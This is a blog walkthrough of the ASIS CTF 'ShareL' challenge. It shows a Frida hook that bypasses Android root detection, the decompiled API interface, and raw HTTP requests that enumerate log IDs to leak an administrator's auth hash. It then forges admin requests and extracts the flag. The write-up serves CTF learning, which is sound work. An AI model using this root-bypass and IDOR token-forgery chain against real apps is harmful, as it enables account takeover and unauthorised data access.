ASIS CTF — ShareL Walkthrough

Yasho
InfoSec Write-ups
Published in
7 min readNov 18, 2019

--

Hello, The reader of this walkthrough should know these topics:

  1. Android application vulnerability assessment
  2. Hooking with Frida
  3. Web application vulnerability assessment
  4. Fuzzing

The participants were given an APK. Opening the APK resulted in the following HTTP request:

GET /api/users/register/170/6C7AF7CC9FE261FFCDA1ECBF0E5B988E79B9F7F2 HTTP/1.1
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

and showing the user the app cannot register message. So there was a problem, I dug the APK to find out the problem:

jadx --deobf sharel.apk

You can find the AP and decompiled files here (I’ll add the Github repo soon).

The SplashScreen.java source revealed that if the device was rooted, the registration process was different.

if (new RootBeer(getApplicationContext()).isRooted()) {
String sha1Hash = CryptoHandler.sha1Hash(string);
this.random = new Random().nextInt(859) + 1;
StringBuilder sb = new StringBuilder();
sb.append(this.random);
sb.append(str);
call = aPIInterFace.regNewDev(sb.toString(), sha1Hash);
} else {
String md5 = CryptoHandler.md5(string);
this.random = new Random().nextInt(900000000) + 100000000;
StringBuilder sb2 = new StringBuilder();
sb2.append(this.random);
sb2.append(str);
call = aPIInterFace.regNewDev(md5, sb2.toString());
}

The APIInterFace.java class revealed almost all end-point URLs:

public interface APIInterFace {
@GET("api/link/mylinks")
@Headers({"Content-Type:application/json"})
Call<MyLinks> MyLinks(@Header("auth-token") String str, @Header("device-id") String str2);
@GET("api/link/preview/{user_id}/{rnd_num}/{link_name}")
@Headers({"Content-Type:application/json"})
Call<PreviewLink> PreviewLink(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i, @Path("rnd_num") int i2, @Path("link_name") String str3);
@GET("api/user/{user_id}/public_links")
@Headers({"Content-Type:application/json"})
Call<UsrPLink> UserPubLink(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i);
@GET("api/users/{user_id}")
@Headers({"Content-Type:application/json"})
Call<UserProfile> getUserProfile(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i);
@GET("api/users/register/{md}/{rnd}")
Call<NewDevice> regNewDev(
@Path("md") String str, @Path("rnd") String str2);
@POST("api/links/share")
@Headers({"Content-Type:application/json"})
Call<ShareLink> shareLink(@Header("auth-token") String str, @Header("device-id") String str2, @Body sShareLink ssharelink);
@POST("api/links/share/private")
@Headers({"Content-Type:application/json"})
Call<SharePLinkUser> sharePLink(@Header("auth-token") String str, @Header("device-id") String str2, @Body sSharePLink sshareplink);
@GET("api/users/top")
@Headers({"Content-Type:application/json"})
Call<Top10Users> top10user(@Header("auth-token") String str, @Header("device-id") String str2);
@GET("api/users/me")
@Headers({"Content-Type:application/json"})
Call<Whoami> whoami(@Header("auth-token") String str, @Header("device-id") String str2);
}

the RegNewDev was there. I looked at the RootBeer.java which detected the rooted device:

public class RootBeer {
private boolean loggingEnabled = true;
private final Context mContext;
public RootBeer(Context context) {
this.mContext = context;
}
public boolean isRooted() {
return detectRootManagementApps() || detectPotentiallyDangerousApps() || checkForBinary("su") || checkForBinary("busybox") || checkForDangerousProps() || checkForRWPaths() || detectTestKeys() || checkSuExists() || checkForRootNative() || checkForMagiskBinary();
}
public boolean isRootedWithoutBusyBoxCheck() {
return detectRootManagementApps() || detectPotentiallyDangerousApps() || checkForBinary("su") || checkForDangerousProps() || checkForRWPaths() || detectTestKeys() || checkSuExists() || checkForRootNative() || checkForMagiskBinary();
}
...
}

I managed to change this section by a simple hook, I run the Frida server:

root@vbox86p:/data/local/tmp # ./frida-server-12.7.22-android-x86

The connector:

frida-ps -U | grep asis2975  com.asisctf.ShareL

The hook script:

Java.perform(function z() {
console.log("Started");
var my_class = Java.use("com.scottyab.rootbeer.RootBeer");
my_class.isRooted.implementation = function () {
console.log("inside is rooted")
return false
}
var my_class = Java.use("com.scottyab.rootbeer.RootBeer");
my_class.isRootedWithoutBusyBoxCheck.implementation = function () {
console.log("inside is rooted")
return false
}
});

Attaching to the process:

frida -U -l script.js com.asisctf.ShareL
____
/ _ | Frida 12.7.22 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/
Attaching...
Started
[Genymotion Samsung Galaxy S6::com.asisctf.ShareL]->

The registration request:

GET /api/users/register/c515834365310176f8117a18bb5ad994/280454512 HTTP/1.1
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

Analysis of the registration request:

/api/users/register/md5("device_id")/random_number

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:34:46 GMT
Content-Type: application/json
Content-Length: 81
Connection: close
{"code":200,"data":{"auth_hash":"4f9dd56abac816f917c720a7c46d4044","user_id":6}}

The application:

The activities from the Android user interface application:

  1. Who Am I
  2. Share Link (public and private)
  3. Sharing Private Link to a User
  4. Top Users
  5. My Links

Visiting the WHOAMI:

GET /api/users/me HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994

Content-Type: application/json
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 06:00:44 GMT
Content-Type: application/json
Content-Length: 70
Connection: close
{"code":200,"data":{"links":0,"user_id":6,"user_type":"Normal user"}}

There were two headers in every request, auth-token and device-id. I re-register with the samerandom_number by different device_id and IP address, I got the same auth_hash, I concluded auth_hash was made by the user input. I gave it to the cmd5.org and the value was 280454512. So the auth_hash was built by the md5(random_number).

The points so far:

  1. auth_token: user_id.auth_hash or user_id.md5(random_number)
  2. device_id: a unique hash
  3. I was a normal user

Sharing a link:

POST /api/links/share HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 61
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"link":"http://test.com","link_name":"test_234","private":1}

My links:

GET /api/link/mylinks HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:39:07 GMT
Content-Type: application/json
Content-Length: 194
Connection: close
{"code":200,"data":[{"link":"http://test.com","link_id":7,"link_name":"test_686","private":0,"user_id":6},{"link":"http://test.com","link_id":8,"link_name":"test_234","private":1,"user_id":6}]}

Sharing a private link to a user:

POST /api/links/share/private HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 80
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"link_name":"test_234","random_number":280454512,"share_user_id":1,"user_id":6}

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:43:01 GMT
Content-Type: application/json
Content-Length: 105
Connection: close
{"code":200,"data":{"msg":"the user_id(1) can view the link by /api/link/preview/6/280454512/test_234"}}

The points:

  1. To share a link, random_number and link_name should be known
  2. Share link is made by user_id, random_number and link_name

A quick test was changing share_user_id and user_id in the share private link request, it didn’t succeed, the server said:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:43:52 GMT
Content-Type: application/json
Content-Length: 69
Connection: close
{"code":400,"data":{"err":"user_id manipulation has been detected"}}

At this time, I went to Android’s decompiled source code seeking the code for a hidden activity or something like that. I found AllUsersLogActivity.java file contained two endpoints:

/logs/user_id/
/logs/all/log_id/

I tried:

GET /logs/user_id/1 HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 2
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

Got:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:52:08 GMT
Content-Type: application/json
Content-Length: 48
Connection: close
{"code":403,"data":{"err":"permission denied"}}

However, I put my user_id:

GET /logs/user_id/6 HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 2
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

Got:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 08:52:40 GMT
Content-Type: application/json
Content-Length: 159
Connection: close
{"code":200,"data":[{"log_details":"user_id(6) created by auth_hash(4f9dd56abac816f917c720a7c46d4044)","log_id":37,"log_name":"application log","user_id":6}]}

I sent the request after that:

GET /logs/all/log_id/37 HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 2
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

Returned the same result. So I conducted Burp Suite’s intruder trying 1 to 37, the ids 23 and 28 were interesting:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sat, 16 Nov 2019 11:33:45 GMT
Content-Type: application/json
Content-Length: 166
Connection: close
{"code":200,"data":{"logs":{"log_details":"user_id(1) created by auth_hash(7974d396f5cfcdbe3433037c11e819ca)","log_id":23,"log_name":"application log","user_id":1}}}--------------------------------------------------------------------HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Thu, 14 Nov 2019 11:47:19 GMT
Content-Type: application/json
Content-Length: 149
Connection: close
{"code":200,"data":{"logs":{"log_details":"user_id(1) shared a private link named test","log_id":28,"log_name":"application log","user_id":1}}}

Conclusions:

  1. I had auth_token(1.7974d396f5cfcdbe3433037c11e819ca)
  2. I had the administrator’s random_id (493291123 from cmd5)
  3. I had a link_name from administrator

I began to call My Links endpoint by administrator auth_token :

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 10:36:35 GMT
Content-Type: application/json
Content-Length: 98
Connection: close
{"code":401,"data":{"msg":"Device-Id(c515834365310176f8117a18bb5ad994) mismatch for user_id(1)"}}

I searched 2 hours to get the administrator’s device_id, I couldn’t find it. However, I could call the following endpoints:

  1. Share a link
  2. Share a private link to a user

I had random_number, link_name and auth_token of administrator, so I shared the test to myself:

POST /api/links/share/private HTTP/1.1
auth-token: 1.7974d396f5cfcdbe3433037c11e819ca
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 77
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"link_name":"test","random_number":493291123,"share_user_id": 6,"user_id":1}

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:03:05 GMT
Content-Type: application/json
Content-Length: 101
Connection: close
{"code":200,"data":{"msg":"the user_id(6) can view the link by /api/link/preview/1/493291123/test"}}

I saw the link by my auth_token:

GET /api/link/preview/1/493291123/test HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 0
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:05:50 GMT
Content-Type: application/json
Content-Length: 66
Connection: close
{"code":200,"data":{"link":"https://ShareL.tld/test_admin_link"}}

Nothing useful found there:

{"code":200,"data":{"test":"keep going :)"}}

The administrator had 5 links, one of them was the flag, I had everything but link_name of flag. I conducted many tests, eventually, I found out that if I share a link_name existed in the database, the endpoint reveals the link names:

POST /api/links/share HTTP/1.1
auth-token: 1.7974d396f5cfcdbe3433037c11e819ca
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 46
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"link":"test","link_name":"test","private":1}

The response:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:08:49 GMT
Content-Type: application/json
Content-Length: 134
Connection: close
{"code":400,"data":{"err":"you cannot pick the link name which has already exists ['test', 'google', 'thefl4g_Not3', 'a', 'local']"}}

I shared the flag, then read it:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:10:11 GMT
Content-Type: application/json
Content-Length: 61
Connection: close
{"code":200,"data":{"link":"https://ShareL.tld/fL/r34d_me"}}

Then:

GET /fL/r34d_me HTTP/1.1
auth-token: 6.4f9dd56abac816f917c720a7c46d4044
device-id: c515834365310176f8117a18bb5ad994
Content-Type: application/json
Content-Length: 0
Host: 66.172.33.148:5001
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0

The flag:

HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Mon, 18 Nov 2019 11:10:28 GMT
Content-Type: application/json
Content-Length: 70
Connection: close
{"code":200,"data":{"flag":"ASIS{34f9266d60f7eb45a8f29796e44853eb}"}}

--

--